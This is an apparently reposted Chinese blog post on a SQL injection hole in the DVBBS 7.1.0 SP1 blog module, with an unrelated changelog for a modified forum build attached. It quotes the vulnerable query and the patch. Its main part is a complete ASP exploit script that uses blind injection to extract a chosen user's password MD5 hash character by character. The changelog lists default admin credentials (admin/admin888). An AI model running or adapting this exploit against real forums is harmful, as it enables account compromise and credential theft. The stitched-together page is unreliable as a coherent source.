DVBBS 7.1.0 SP1 博客漏洞

本文分析了一个存在于ASP脚本中的SQL注入漏洞,详细展示了利用该漏洞读取数据库密码MD5值的过程。通过构造特定的HTTP请求,攻击者能够绕过过滤获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >



转述如下:
boke/Cls_Main.asp 未过滤“'”,可以产生以下问题:

Sql = "Select UserID,UserName,NickName,BokeName,PassWord,BokeTitle,BokeChildTitle,BokeNote,JoinBokeTime,PageView,TopicNum,FavNum,PhotoNum,PostNum,TodayNum,Trackbacks,SpaceSize,XmlData,SysCatID,BokeSetting,LastUpTime,SkinID,Stats,S.S_SkinName,S.S_Path,S.S_ViewPic,S.S_Info,S.S_Builder From [Dv_Boke_User] U Inner Join [Dv_Boke_Skins] S On U.SkinID = S.S_ID"
Sql = Lcase(Sql)
If BokeName<>"" Then
Sql = Sql & " where BokeName = '"&BokeName&"'"
ElseIf BokeUserID>0 Then
Sql = Sql & " where UserID = "&BokeUserID
Else
'请选取相关的DVBOKE,返回综合列表
Exit Sub
End If

官方补丁已经出现
boke/Cls_Main.asp 加入了以下代码
ArchiveLink = Replace(ArchiveLink,"'","")

利用脚本:
<br><br>
<br><br>
<br><br>
<center>
<div align='left' style="width:500px;font-size:12px;">
<%
'==================================================
'
'请将
http://www.target.com/boke.asp 修改为有漏洞的URL
' 将 admin 改为您要读取密码的用户ID
'
'==================================================
Server.ScriptTimeout=300
Response.Buffer = True
Dim hehefulsh
Dim charhex,OpenURL,templen,tempstr,newgetlen,theoffset,theURL,TheUser
Set hehefulsh = CreateObject("Microsoft.XMLHTTP")
charhex=Split("0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f",",")
tempstr=""

for total=0 to 15
for theoffset=0 to 15
templen=0
OpenURL="
http://www.target.com/boke.asp?admin'and'" & tempstr & charhex(theoffset) & "'=left(password," &total+1& ")and''='.index.html.index.html"
hehefulsh.Open "Get",OpenURL, False, "", ""
hehefulsh.Send
GetPage = BytesToBstr(hehefulsh.ResponseBody)
If InStr(GetPage,"该博客用户不存在或填写的资料有误!")=0 Then
tempstr=tempstr & charhex(theoffset)
response.write "前" & total+1 & "位MD5值为:" & tempstr & " 其他密码正在读取中,请等待。。。<BR>"
Response.Flush
Exit for
End if
Next
Next
response.write "<br><br><br>成功读取密码的MD5值,为:" & tempstr & " <BR><BR><BR>请不要使用本程序进行破坏行为!"
Set hehefulsh = Nothing

Function BytesToBstr(body)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = "GB2312"
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function

%>
</div>
</center>

修改更新:(内核Dvbbs 7.1.0)<br> 1. 安装社区银行 <br> 2. 安装社区股市 <br> 3. 安装社区礼堂<br> 4. 安装社区法院<br> 5. 安装社区门派<br> 6. 安装社区警局 <br> 7. 安装广告公司<br> 8. 安装宠物中心<br> 9. 安装许愿插件<br> 10. 安装勋章中心 <br> 11. 安装管理团队 <br> 12. 安装自助链接<br> 13. 安装BT发布页<br> 14. 安装流量统计<br> 15. 安装在线游戏<br> 16. 安装魔法表情<br> 17. 安装影视中心<br> 18. 安装论坛底部播放器<br> 19. 论坛实现等级按照性别图片和等级名称性别分离化实现区分等级修改(美化)<br> 20. 安装发帖回帖80例随机事件插件<br> 21. 帖子中用户栏美化<br> 22. 安装三列带后台社区明星<br> 23. 安装社区点歌<br> 24. 更新IP数据库20050805<br> 25. 打上安全补丁For Ver7.1[2005-7-4]<br> 26. 删除默认风格 <br> 27. 删除顶部支付宝<br> 28. 删除底部FLASH广告<br> 29. 删除底部阿里巴巴 <br> 30. 关闭删除了购买论坛点券部分链接<br> 31. 更换默认发帖心情图片<br> 32. 安装了自然之韵(风格)<br> 33. 美化修改分离在线图例性别星座<br> 34. 安装简繁体转换改变字号插件<br> 35. 安装存点积分<br> 36. 安装网络电视<br> 37. 安装虚拟形象<br> 38. 安装在线等级及活跃度<br> 39. 安装首页斑竹在线显示<br> 40. 首页添加FLASH时钟<br> 41. 安装易可贴V1.3<br> 42. 安装巧嘴娃娃<br> 43. 安装特殊帖<br> 44. 安装下载中心<br> 45. 安装翻唱Show<br> 46. 修改只允许客人看到部分帖子<br> 47. 更新实现金币与金钱、经验、魅力、点券的相互兑换<br> 48. 制作比较完整的修改说明<br> 其实这个论坛能开发的地方很多,本人时间精力有限,所以暂时只做这么多,因为修改的地方较多,修改说明是之后写的所以修改里面可能会有遗漏没写上的,声明本论坛程序所安装的插件版权归原作者所有,本人只是做了收集安装.<br> [安装必读]<br> 1、首先把所有的程序全部传到你的服务器上<br> 2、你可以把所有文件放在你的网站根目录下,也可以用虚拟目录来运行,同样都可以支持。<br> 3、默认管理员用户名 admin、密码 admin888 4、注意:你的服务器最好支持FSO。 程序修改:陌生感觉
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值